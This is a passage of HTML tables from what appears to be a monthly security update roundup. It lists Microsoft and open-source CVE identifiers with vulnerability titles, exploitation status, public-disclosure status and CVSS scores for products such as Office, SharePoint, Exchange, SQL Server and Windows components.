href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50467">CVE-2026-50467</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55017">CVE-2026-55017</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55018">CVE-2026-55018</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55022">CVE-2026-55022</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55125">CVE-2026-55125</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55045">CVE-2026-55045</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55049">CVE-2026-55049</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55129">CVE-2026-55129</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55056">CVE-2026-55056</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55140">CVE-2026-55140</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55133">CVE-2026-55133</a></td><td><p>Microsoft OneNote Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55043">CVE-2026-55043</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55123">CVE-2026-55123</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55120">CVE-2026-55120</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55052">CVE-2026-55052</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58277">CVE-2026-58277</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50522">CVE-2026-50522</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58644">CVE-2026-58644</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56164">CVE-2026-56164</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55051">CVE-2026-55051</a></td><td><p>Microsoft SharePoint Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55040">CVE-2026-55040</a></td><td><p>Microsoft SharePoint Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54108">CVE-2026-54108</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55016">CVE-2026-55016</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55019">CVE-2026-55019</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55020">CVE-2026-55020</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55021">CVE-2026-55021</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55030">CVE-2026-55030</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55034">CVE-2026-55034</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55126">CVE-2026-55126</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55135">CVE-2026-55135</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56157">CVE-2026-56157</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55050">CVE-2026-55050</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55124">CVE-2026-55124</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55142">CVE-2026-55142</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55032">CVE-2026-55032</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55033">CVE-2026-55033</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55127">CVE-2026-55127</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55055">CVE-2026-55055</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55038">CVE-2026-55038</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55132">CVE-2026-55132</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55134">CVE-2026-55134</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55128">CVE-2026-55128</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55130">CVE-2026-55130</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Open Source Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40553">CVE-2026-40553</a></td><td><p>Stack-based buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40469">CVE-2026-40469</a></td><td><p>Heap buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40468">CVE-2026-40468</a></td><td><p>Heap buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40467">CVE-2026-40467</a></td><td><p>Use after free in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57968">CVE-2026-57968</a></td><td><p>Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57973">CVE-2026-57973</a></td><td><p>Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr></tbody></table><h3>Other vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50663">CVE-2026-50663</a></td><td><p>Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50510">CVE-2026-50510</a></td><td><p>GitHub Copilot Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55010">CVE-2026-55010</a></td><td><p>Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55145">CVE-2026-55145</a></td><td><p>Outlook Copilot Tampering Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>6.3</p></td></tr></tbody></table><h3>Server Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55006">CVE-2026-55006</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55009">CVE-2026-55009</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55005">CVE-2026-55005</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr></tbody></table><h3>SQL Server vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56642">CVE-2026-56642</a></td><td><p>Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58647">CVE-2026-58647</a></td><td><p>Microsoft PowerBI Report Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47296">CVE-2026-47296</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55002">CVE-2026-55002</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47295">CVE-2026-47295</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50468">CVE-2026-50468</a></td><td><p>Microsoft SQL Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54116">CVE-2026-54116</a></td><td><p>Microsoft SQL Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54117">CVE-2026-54117</a></td><td><p>Microsoft SQL Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54118">CVE-2026-54118</a></td><td><p>Microsoft SQL Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr></tbody></table><h3>System Center vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50658">CVE-2026-50658</a></td><td><p>Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56178">CVE-2026-56178</a></td><td><p>Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50657">CVE-2026-50657</a></td><td><p>Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55011">CVE-2026-55011</a></td><td><p>Microsoft Defender Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55012">CVE-2026-55012</a></td><td><p>Microsoft Defender Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Windows vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54121">CVE-2026-54121</a></td><td><p>Active Directory Certificate Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50682">CVE-2026-50682</a></td><td><p>Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55001">CVE-2026-55001</a></td><td><p>Active Directory Domain Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50647">CVE-2026-50647</a></td><td><p>Active Directory Federation Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50684">CVE-2026-50684</a></td><td><p>Active Directory Federation Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50488">CVE-2026-50488</a></td><td><p>Clipboard User Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50491">CVE-2026-50491</a></td><td><p>Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50381">CVE-2026-50381</a></td><td><p>Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50427">CVE-2026-50427</a></td><td><p>Content Delivery Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50692">CVE-2026-50692</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58633">CVE-2026-58633</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58634">CVE-2026-58634</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48564">CVE-2026-48564</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50370">CVE-2026-50370</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50296">CVE-2026-50296</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50375">CVE-2026-50375</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50353">CVE-2026-50353</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50493">CVE-2026-50493</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56643">CVE-2026-56643</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56644">CVE-2026-56644</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58629">CVE-2026-58629</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50382">CVE-2026-50382</a></td><td><p>DirectX Graphics Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49174">CVE-2026-49174</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50495">CVE-2026-50495</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57088">CVE-2026-57088</a></td><td><p>Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49787">CVE-2026-49787</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50420">CVE-2026-50420</a></td><td><p>HTTP.sys Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49788">CVE-2026-49788</a></td><td><p>HTTP/2 Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50696">CVE-2026-50696</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49162">CVE-2026-49162</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50305">CVE-2026-50305</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50361">CVE-2026-50361</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50466">CVE-2026-50466</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation 